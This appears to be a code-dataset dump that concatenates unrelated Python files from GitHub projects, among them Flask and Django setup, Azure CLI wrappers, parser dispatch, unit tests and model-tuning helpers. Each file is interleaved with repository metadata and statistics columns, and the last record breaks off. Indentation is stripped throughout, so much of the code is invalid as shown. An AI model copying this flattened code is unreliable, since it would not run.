# Press Mayús+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
import Gramatica as g
import interprete as Inter
import ts as TS
import jsonMode as JSON_INGE
import jsonMode as json
import Instruccion as INST
import Interfaz.Interfaz as Gui
import os
import glob
from os import path
from os import remove
def print_hi(name):
# Use a breakpoint in the code line below to debug your script.
print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint.
if __name__ == '__main__':
Gui.principal
cadena= "goto"
# for n in cadena:
# in
print("ELIMINANDO...")
files = glob.glob('data/json/*')
for ele in files:
os.remove(ele)
| 18.311111 | 98 | 0.694175 | 127 | 824 | 4.425197 | 0.566929 | 0.042705 | 0.05694 | 0.071174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004754 | 0.234223 | 824 | 44 | 99 | 18.727273 | 0.885895 | 0.381068 | 0 | 0 | 0 | 0 | 0.091633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.55 | 0 | 0.6 | 0.15 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
908bf756c481540c4c44d86144640fa2370be038 | 1,563 | py | Python | adsrefpipe/refparsers/handler.py | golnazads/ADSReferencePipeline | 802f26a9e085e6ff5de43f3b5642b2d9fad52cbb | [
"MIT"
] | null | null | null | adsrefpipe/refparsers/handler.py | golnazads/ADSReferencePipeline | 802f26a9e085e6ff5de43f3b5642b2d9fad52cbb | [
"MIT"
] | null | null | null | adsrefpipe/refparsers/handler.py | golnazads/ADSReferencePipeline | 802f26a9e085e6ff5de43f3b5642b2d9fad52cbb | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from adsrefpipe.refparsers.CrossRefXML import CrossReftoREFs
from adsrefpipe.refparsers.ElsevierXML import ELSEVIERtoREFs
from adsrefpipe.refparsers.JATSxml import JATStoREFs
from adsrefpipe.refparsers.IOPxml import IOPtoREFs
from adsrefpipe.refparsers.SpringerXML import SPRINGERtoREFs
from adsrefpipe.refparsers.APSxml import APStoREFs
from adsrefpipe.refparsers.NatureXML import NATUREtoREFs
from adsrefpipe.refparsers.AIPxml import AIPtoREFs
from adsrefpipe.refparsers.WileyXML import WILEYtoREFs
from adsrefpipe.refparsers.NLM3xml import NLMtoREFs
from adsrefpipe.refparsers.AGUxml import AGUtoREFs
from adsrefpipe.refparsers.arXivTXT import ARXIVtoREFs
def verify(parser_name):
"""
:param parser_name: parser name from db
:return:
"""
# based on parser name return the parser class, if it is an xml
if parser_name == 'CrossRef':
return CrossReftoREFs
if parser_name == 'ELSEVIER':
return ELSEVIERtoREFs
if parser_name == 'JATS':
return JATStoREFs
if parser_name == 'IOP':
return IOPtoREFs
if parser_name == 'SPRINGER':
return SPRINGERtoREFs
if parser_name == 'APS':
return APStoREFs
if parser_name == 'NATURE':
return NATUREtoREFs
if parser_name == 'AIP':
return AIPtoREFs
if parser_name == 'WILEY':
return WILEYtoREFs
if parser_name == 'NLM':
return NLMtoREFs
if parser_name == 'AGU':
return AGUtoREFs
if parser_name == 'arXiv':
return ARXIVtoREFs
return None
| 32.5625 | 67 | 0.723608 | 174 | 1,563 | 6.41954 | 0.344828 | 0.143241 | 0.257833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001614 | 0.207294 | 1,563 | 47 | 68 | 33.255319 | 0.899919 | 0.085093 | 0 | 0 | 0 | 0 | 0.041903 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026316 | false | 0 | 0.315789 | 0 | 0.684211 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
909dc9969f5cc018e88da564d8e3efacb5bc1be6 | 406 | py | Python | migrate_db.py | qxf2/interview-scheduler | ef17350cec70c66c7136671789ed188231a5fcba | [
"MIT"
] | 2 | 2021-05-06T17:02:21.000Z | 2021-05-19T19:41:21.000Z | migrate_db.py | qxf2/interview-scheduler | ef17350cec70c66c7136671789ed188231a5fcba | [
"MIT"
] | 9 | 2019-08-01T18:49:35.000Z | 2021-04-01T12:52:35.000Z | migrate_db.py | qxf2/interview-scheduler | ef17350cec70c66c7136671789ed188231a5fcba | [
"MIT"
] | 18 | 2019-07-23T16:26:17.000Z | 2022-01-21T10:33:41.000Z | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from qxf2_scheduler import models
from qxf2_scheduler import db
from qxf2_scheduler.__init__ import app
from flask_script import Manager
from flask_migrate import Migrate,MigrateCommand
migrate=Migrate(app, db,render_as_batch=True)
manager=Manager(app)
manager.add_command('db',MigrateCommand)
if __name__ == "__main__":
manager.run() | 25.375 | 48 | 0.830049 | 57 | 406 | 5.54386 | 0.421053 | 0.113924 | 0.161392 | 0.14557 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008287 | 0.108374 | 406 | 16 | 49 | 25.375 | 0.864641 | 0 | 0 | 0 | 0 | 0 | 0.02457 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.583333 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
90b42e2cf853da75296b6d0c2d2e8e3942e4a7bb | 1,066 | py | Python | tests/test_list_.py | aefalcon/iterable_collections | 8e3b4ea84083a100413f23af30ea27dfd4b838ff | [
"MIT"
] | 4 | 2018-06-05T14:07:56.000Z | 2021-04-17T12:09:23.000Z | tests/test_list_.py | aefalcon/iterable_collections | 8e3b4ea84083a100413f23af30ea27dfd4b838ff | [
"MIT"
] | 1 | 2018-07-10T19:53:54.000Z | 2018-07-10T19:58:38.000Z | tests/test_list_.py | aefalcon/iterable_collections | 8e3b4ea84083a100413f23af30ea27dfd4b838ff | [
"MIT"
] | 2 | 2020-01-29T10:51:11.000Z | 2021-11-11T21:37:24.000Z | import unittest
from iterable_collections import collect
class TestList_(unittest.TestCase):
def test_list(self):
c = collect(list(range(10))).list_()
self.assertEqual(c.iterable, list(list(range(10))))
def test_set(self):
c = collect(set(range(10))).list_()
self.assertEqual(c.iterable, list(set(range(10))))
def test_tuple(self):
c = collect(tuple(range(10))).list_()
self.assertEqual(c.iterable, list(tuple(range(10))))
def test_iterator(self):
c = collect(iter(range(10))).list_()
self.assertEqual(c.iterable, list(iter(range(10))))
def test_dict(self):
c = collect({'a': 1, 'b': 2}).list_()
self.assertEqual(c.iterable, list({'a': 1, 'b': 2}))
def test_dict_items(self):
c = collect({'a': 1, 'b': 2}.items()).list_()
self.assertEqual(c.iterable, list({'a': 1, 'b': 2}.items()))
def test_enumerate(self):
c = collect(list(range(10))).enumerate().list_()
self.assertEqual(c.iterable, list(enumerate(range(10))))
| 29.611111 | 68 | 0.605066 | 145 | 1,066 | 4.331034 | 0.193103 | 0.111465 | 0.133758 | 0.22293 | 0.542994 | 0.52707 | 0.414013 | 0.363057 | 0.11465 | 0.11465 | 0 | 0.033097 | 0.206379 | 1,066 | 35 | 69 | 30.457143 | 0.70922 | 0 | 0 | 0 | 0 | 0 | 0.007512 | 0 | 0 | 0 | 0 | 0 | 0.291667 | 1 | 0.291667 | false | 0 | 0.083333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
90b636cded4c580440a67538e3ed1bce323607f4 | 2,186 | py | Python | pyaz/synapse/sql/pool/classification/recommendation/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/synapse/sql/pool/classification/recommendation/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/synapse/sql/pool/classification/recommendation/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | '''
Manage sensitivity classification recommendations.
'''
from ...... pyaz_utils import _call_az
def list(name, resource_group, workspace_name, filter=None, included_disabled=None, skip_token=None):
'''
List the recommended sensitivity classifications of a given SQL pool.
Required Parameters:
- name -- The SQL pool name.
- resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>`
- workspace_name -- The workspace name.
Optional Parameters:
- filter -- An OData filter expression that filters elements in the collection.
- included_disabled -- Indicates whether the result should include disabled recommendations
- skip_token -- An OData query option to indicate how many elements to skip in the collection.
'''
return _call_az("az synapse sql pool classification recommendation list", locals())
def enable(column, name, resource_group, schema, table, workspace_name):
'''
Enable sensitivity recommendations for a given column(recommendations are enabled by default on all columns).
Required Parameters:
- column -- The name of column.
- name -- The SQL pool name.
- resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>`
- schema -- The name of schema.
- table -- The name of table.
- workspace_name -- The workspace name.
'''
return _call_az("az synapse sql pool classification recommendation enable", locals())
def disable(column, name, resource_group, schema, table, workspace_name):
'''
Disable sensitivity recommendations for a given column(recommendations are enabled by default on all columns).
Required Parameters:
- column -- The name of column.
- name -- The SQL pool name.
- resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>`
- schema -- The name of schema.
- table -- The name of table.
- workspace_name -- The workspace name.
'''
return _call_az("az synapse sql pool classification recommendation disable", locals())
| 42.038462 | 128 | 0.718664 | 277 | 2,186 | 5.581227 | 0.267148 | 0.075679 | 0.065977 | 0.027167 | 0.659767 | 0.641009 | 0.641009 | 0.641009 | 0.580207 | 0.543984 | 0 | 0 | 0.198079 | 2,186 | 51 | 129 | 42.862745 | 0.881917 | 0.670631 | 0 | 0 | 0 | 0 | 0.288927 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0.142857 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
90b9ca60618e207e4f11df9555b71806b45d69af | 1,538 | py | Python | src/classifier/classifier_tuning/tune_sklearn.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 14 | 2021-08-24T12:36:37.000Z | 2022-03-18T12:14:36.000Z | src/classifier/classifier_tuning/tune_sklearn.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | null | null | null | src/classifier/classifier_tuning/tune_sklearn.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 1 | 2021-10-21T20:22:55.000Z | 2021-10-21T20:22:55.000Z | from sklearn.ensemble import RandomForestClassifier
import xgboost
def suggest_xgb(model_params, trial, xgb=None):
n_estimators = trial.suggest_int(
model_params.n_estimators.name,
model_params.n_estimators.lower,
model_params.n_estimators.upper,
model_params.n_estimators.step,
)
lr = trial.suggest_float(
model_params.learning_rate.name,
model_params.learning_rate.lower,
model_params.learning_rate.upper,
log=True,
)
max_depth = trial.suggest_int(
model_params.max_depth.name,
model_params.max_depth.lower,
model_params.max_depth.upper,
model_params.max_depth.step,
)
classifier = xgboost.XGBClassifier(
n_estimators=n_estimators,
learning_rate=lr,
max_depth=max_depth,
random_state=42,
use_label_encoder=False,
tree_method="gpu_hist",
gpu_id=0,
)
return classifier
def suggest_rf(model_params, trial):
n_estimators = trial.suggest_int(
model_params.n_estimators.name,
model_params.n_estimators.lower,
model_params.n_estimators.upper,
model_params.n_estimators.step,
)
max_depth = trial.suggest_int(
model_params.max_depth.name,
model_params.max_depth.lower,
model_params.max_depth.upper,
model_params.max_depth.step,
)
classifier = RandomForestClassifier(
n_estimators=n_estimators, max_depth=max_depth, random_state=42
)
return classifier
| 27.963636 | 71 | 0.683355 | 187 | 1,538 | 5.262032 | 0.240642 | 0.234756 | 0.097561 | 0.178862 | 0.585366 | 0.585366 | 0.585366 | 0.526423 | 0.526423 | 0.526423 | 0 | 0.004277 | 0.239922 | 1,538 | 54 | 72 | 28.481481 | 0.837468 | 0 | 0 | 0.458333 | 0 | 0 | 0.005202 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
90c0801975d3d3c99714cb7e0cfc32ffb8ce7205 | 251 | py | Python | diagnosticApp/admin.py | LASI-UFPI/diagnostic-imaging | 7afd732dd76fe92bf6a2eba48e69fa4102a978cc | [
"MIT"
] | null | null | null | diagnosticApp/admin.py | LASI-UFPI/diagnostic-imaging | 7afd732dd76fe92bf6a2eba48e69fa4102a978cc | [
"MIT"
] | 10 | 2021-04-04T19:07:41.000Z | 2022-03-12T00:54:50.000Z | diagnosticApp/admin.py | LASI-UFPI/diagnostic-imaging | 7afd732dd76fe92bf6a2eba48e69fa4102a978cc | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Image
@admin.register(Image)
class ImageAdmin(admin.ModelAdmin):
list_display = ('image', 'predict_covid', 'predict_no_findings', 'predict_pneumonia', 'created_at', 'updated_at', 'activated_at')
| 35.857143 | 131 | 0.776892 | 32 | 251 | 5.84375 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091633 | 251 | 6 | 132 | 41.833333 | 0.820175 | 0 | 0 | 0 | 0 | 0 | 0.342629 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
90c4143d466cb79c3fc483f709341546a5611433 | 615 | py | Python | py/py_0668_square_root_smooth_numbers.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0668_square_root_smooth_numbers.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0668_square_root_smooth_numbers.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | # Solution of;
# Project Euler Problem 668: Square root smooth Numbers
# https://projecteuler.net/problem=668
#
# A positive integer is called square root smooth if all of its prime factors
# are strictly less than its square root. Including the number $1$, there are
# $29$ square root smooth numbers not exceeding $100$. How many square root
# smooth numbers are there not exceeding $10\,000\,000\,000$?
#
# by lcsm29 http://github.com/lcsm29/project-euler
import timed
def dummy(n):
pass
if __name__ == '__main__':
n = 1000
i = 10000
prob_id = 668
timed.caller(dummy, n, i, prob_id)
| 26.73913 | 78 | 0.705691 | 95 | 615 | 4.463158 | 0.621053 | 0.117925 | 0.150943 | 0.162736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 0.196748 | 615 | 22 | 79 | 27.954545 | 0.779352 | 0.720325 | 0 | 0 | 0 | 0 | 0.049689 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0.125 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
90e8e47f66221f7bc0ae337311c1f500db447d05 | 669 | py | Python | tests_project/homepage/views/__init__.py | wynnw/django-mako-plus | 8a33eb3911fc84ddddd590152f475fd78c6a501f | [
"Apache-2.0"
] | 79 | 2015-01-21T23:29:16.000Z | 2021-08-22T03:38:20.000Z | tests_project/homepage/views/__init__.py | wynnw/django-mako-plus | 8a33eb3911fc84ddddd590152f475fd78c6a501f | [
"Apache-2.0"
] | 34 | 2015-01-08T03:11:07.000Z | 2021-09-07T15:04:43.000Z | tests_project/homepage/views/__init__.py | wynnw/django-mako-plus | 8a33eb3911fc84ddddd590152f475fd78c6a501f | [
"Apache-2.0"
] | 23 | 2015-01-08T03:11:26.000Z | 2021-05-22T11:12:24.000Z | from django_mako_plus.converter import ParameterConverter
from django_mako_plus import view_function
from django.http import HttpRequest
class RecordingConverter(ParameterConverter):
'''Converter that also records the converted variables for inspecting during testing'''
def convert_parameters(self, *args, **kwargs):
# request is usually args[0], but it can be args[1] when using functools.partial in the decorator
request = args[1] if len(args) >= 2 and isinstance(args[1], HttpRequest) else args[0]
args, kwargs = super().convert_parameters(*args, **kwargs)
request.dmp.converted_params = kwargs
return args, kwargs
| 47.785714 | 105 | 0.741405 | 87 | 669 | 5.609195 | 0.62069 | 0.081967 | 0.057377 | 0.07377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010889 | 0.176383 | 669 | 13 | 106 | 51.461538 | 0.874773 | 0.266069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
90ebe6d271ee6c6cf02d97187537a0fc19ca7af6 | 2,404 | py | Python | example_project/views.py | AKuederle/flask-template-master | d6d8d2747eccc6629658caf4295106db1b3326a1 | [
"MIT"
] | 2 | 2018-04-06T19:40:22.000Z | 2019-10-09T18:58:03.000Z | example_project/views.py | AKuederle/flask-template-master | d6d8d2747eccc6629658caf4295106db1b3326a1 | [
"MIT"
] | null | null | null | example_project/views.py | AKuederle/flask-template-master | d6d8d2747eccc6629658caf4295106db1b3326a1 | [
"MIT"
] | null | null | null | """
All your views aka. your template endpoints go here.
There are two ways to create a view.
1. Create a new Subclass inheriting from one of the flask_template_master views
2. Use the view-factory function flask_template_master.views.create_template_endpoint
Each view requires an 1 (and 2 optional) things:
1. An environment: The environment provides the templates and handles all options of how templates are rendered
2. (optional) An global provider: A global provider provides variables that are accessible in all templates of the endpoint
3. (optional) An compiler: The compiler gets the rendered template and can handle a postprocessing step and controls the
data that is returned. This can e.g. be used to run a Latex compilation.
"""
import jinja2
from flask_template_master.compiler import LatexCompiler
from flask_template_master.views import BaseTemplateView, create_template_endpoint
from flask_template_master import Api
from flask_template_master.global_provider import DictGlobalProvider
from flask_template_master.environments import LATEX_TEMPLATE_CONFIG
api = Api() # create an instance of an flask-restfull API. Always required!
class TestView(BaseTemplateView):
"""This is an example of a view created as a subclass.
This is a simple view using a Dict loader to provide all template strings inline.
It does not use a compile step and simply returns the rendered template string on POST.
It passes one value as a global variable. This can be seen in template b.
The global variable will be overwritten, if a variable with the same name is passed by the POST request
"""
# The environment needs to be a jinja environment with a loader
ENVIRONMENT = jinja2.Environment(loader=jinja2.DictLoader({'a': '{{ test }}', 'b': '{{ test }} {{ global }}'}))
GLOBAL_PROVIDER = DictGlobalProvider({'global': 'This is a global value'})
# This registers '/class_test/' for the overview and '/class_test/<template_name> for the individual templates
TestView.add_as_resource(api, '/class_test/')
# This is an example on how to use the factory function
# Setting up the jinja2 enviroemnt using a file loader with LaTex config
environment = jinja2.Environment(loader=jinja2.FileSystemLoader('./templates'), **LATEX_TEMPLATE_CONFIG)
compiler = LatexCompiler()
create_template_endpoint(api, '/factory_test/', environment=environment, compiler=compiler)
| 50.083333 | 123 | 0.784526 | 355 | 2,404 | 5.219718 | 0.369014 | 0.04911 | 0.071776 | 0.062062 | 0.043173 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006382 | 0.152662 | 2,404 | 47 | 124 | 51.148936 | 0.903289 | 0.62396 | 0 | 0 | 0 | 0 | 0.115473 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
90f09eaebc2c156f0e6cd05610e75beced48fbbf | 141 | py | Python | theonionbox/stamp.py | ralphwetzel/theonionbox | 9812fce48153955e179755ea7a58413c3bee182f | [
"MIT"
] | 120 | 2015-12-30T09:41:56.000Z | 2022-03-23T02:30:05.000Z | theonionbox/stamp.py | nwithan8/theonionbox | 9e51fe0b4d07fc89a8a133fdeceb5f97d5d58713 | [
"MIT"
] | 57 | 2015-12-29T21:55:14.000Z | 2022-01-07T09:48:51.000Z | theonionbox/stamp.py | nwithan8/theonionbox | 9e51fe0b4d07fc89a8a133fdeceb5f97d5d58713 | [
"MIT"
] | 17 | 2018-02-05T08:57:46.000Z | 2022-02-28T16:44:41.000Z | __title__ = 'The Onion Box'
__description__ = 'Dashboard to monitor Tor node operations.'
__version__ = '20.2'
__stamp__ = '20200119|095654'
| 28.2 | 61 | 0.758865 | 17 | 141 | 5.352941 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139344 | 0.134752 | 141 | 4 | 62 | 35.25 | 0.606557 | 0 | 0 | 0 | 0 | 0 | 0.517731 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
90f65c76bdf901f4200cf464ae0ba5ac4a47f91a | 655 | py | Python | control/webapp/__init__.py | doismellburning/control-panel | 516feeaac3a0f4c704105204b6efe75a94ba42c3 | [
"MIT"
] | 1 | 2020-07-22T21:47:15.000Z | 2020-07-22T21:47:15.000Z | control/webapp/__init__.py | doismellburning/control-panel | 516feeaac3a0f4c704105204b6efe75a94ba42c3 | [
"MIT"
] | 5 | 2020-08-02T09:59:25.000Z | 2021-11-03T08:02:39.000Z | control/webapp/__init__.py | doismellburning/control-panel | 516feeaac3a0f4c704105204b6efe75a94ba42c3 | [
"MIT"
] | 2 | 2020-08-02T09:02:25.000Z | 2020-12-20T17:45:30.000Z | import logging
from flask import Flask
from . import utils, home, member, society, signup, jobs, admin
from .flask_seasurf import SeaSurf
from flask_talisman import Talisman
app = Flask(__name__,
template_folder="../templates",
static_folder="../static")
app.config['CSRF_CHECK_REFERER'] = False
csrf = SeaSurf(app)
Talisman(app)
logging.basicConfig(level=logging.DEBUG if app.debug else logging.INFO)
utils.setup_app(app)
app.register_blueprint(home.bp)
app.register_blueprint(member.bp)
app.register_blueprint(society.bp)
app.register_blueprint(signup.bp)
app.register_blueprint(jobs.bp)
app.register_blueprint(admin.bp)
| 23.392857 | 71 | 0.770992 | 90 | 655 | 5.422222 | 0.377778 | 0.135246 | 0.245902 | 0.22541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122137 | 655 | 27 | 72 | 24.259259 | 0.848696 | 0 | 0 | 0 | 0 | 0 | 0.059542 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.263158 | 0 | 0.263158 | 0.315789 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
29036ba6db6b8f13ddf689e6933342fcab6c293b | 830 | py | Python | src/utils/utils.py | GuiYuDaniel/CGC_of_Sn | c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa | [
"MIT"
] | null | null | null | src/utils/utils.py | GuiYuDaniel/CGC_of_Sn | c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa | [
"MIT"
] | 2 | 2022-01-19T04:36:29.000Z | 2022-01-27T09:15:38.000Z | src/utils/utils.py | GuiYuDaniel/CGC_of_Sn | c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa | [
"MIT"
] | null | null | null | # -*- coding:utf8 -*-
"""
一些其他工具
当需要细化或者函数太多时,应该把其中一些独立出去
"""
import uuid
from enum import Enum, unique
from utils.log import get_logger
logger = get_logger(__name__)
@unique
class PipeTaskStatus(Enum): # 还不够需要写状态机,先用这个凑活一下
"""
name is Status
value is Next
"""
# TODO 多线程时应该增加STOPPING, WAITING等状态
# TODO 为了避免Enum键值对别名的规则,引入一个None占位,None无意义,不是一个状态!
PREPARATION = ["DOING", "FAIL"] # preparation是准备阶段,计算、保存一切运行的必要信息,未准备结束的ppt是不支持restart的
DOING = ["SUCCESS", "FAIL", "RESTARTING"]
SUCCESS = []
FAIL = ["RESTARTING"]
RESTARTING = ["DOING", "FAIL", None] # restarting是重启的准备阶段,准备好后直接进入doing
# STOPPING = []
# WAITING = []
def new_id(is_log=True):
_id = str(uuid.uuid4())
if is_log:
logger.debug("new an id={} with uuid4 method".format(_id))
return _id
| 21.282051 | 92 | 0.657831 | 89 | 830 | 6 | 0.640449 | 0.033708 | 0.078652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004566 | 0.208434 | 830 | 38 | 93 | 21.842105 | 0.808219 | 0.359036 | 0 | 0 | 0 | 0 | 0.158635 | 0 | 0 | 0 | 0 | 0.026316 | 0 | 1 | 0.0625 | false | 0 | 0.1875 | 0 | 0.6875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
292c8b618a05d121aa88ca4e594589616cd5c14c | 254 | py | Python | core/layouts/pixel_list.py | TheGentlemanOctopus/oracle | 2857b9c1886548d9aefcb480ce6e77169ee9e7ef | [
"MIT"
] | null | null | null | core/layouts/pixel_list.py | TheGentlemanOctopus/oracle | 2857b9c1886548d9aefcb480ce6e77169ee9e7ef | [
"MIT"
] | 6 | 2018-05-13T14:44:20.000Z | 2018-07-10T10:12:08.000Z | core/layouts/pixel_list.py | TheGentlemanOctopus/oracle | 2857b9c1886548d9aefcb480ce6e77169ee9e7ef | [
"MIT"
] | null | null | null | from layout import Layout
class PixelList(Layout):
"""
A simple generic layout, just a list of pixels
"""
def __init__(self, pixels):
"""
pixels is a list of pixel objects
"""
self.pixels = pixels
| 21.166667 | 54 | 0.562992 | 30 | 254 | 4.633333 | 0.6 | 0.071942 | 0.100719 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.350394 | 254 | 11 | 55 | 23.090909 | 0.842424 | 0.314961 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
29392d7c293c0b529284bdff29493ae4994d22ba | 206 | py | Python | example.py | n0emis/pycodimd | cec7135babe63f0c40fdb9eac7ede50e145cd512 | [
"MIT"
] | 1 | 2020-04-20T22:06:49.000Z | 2020-04-20T22:06:49.000Z | example.py | n0emis/pycodimd | cec7135babe63f0c40fdb9eac7ede50e145cd512 | [
"MIT"
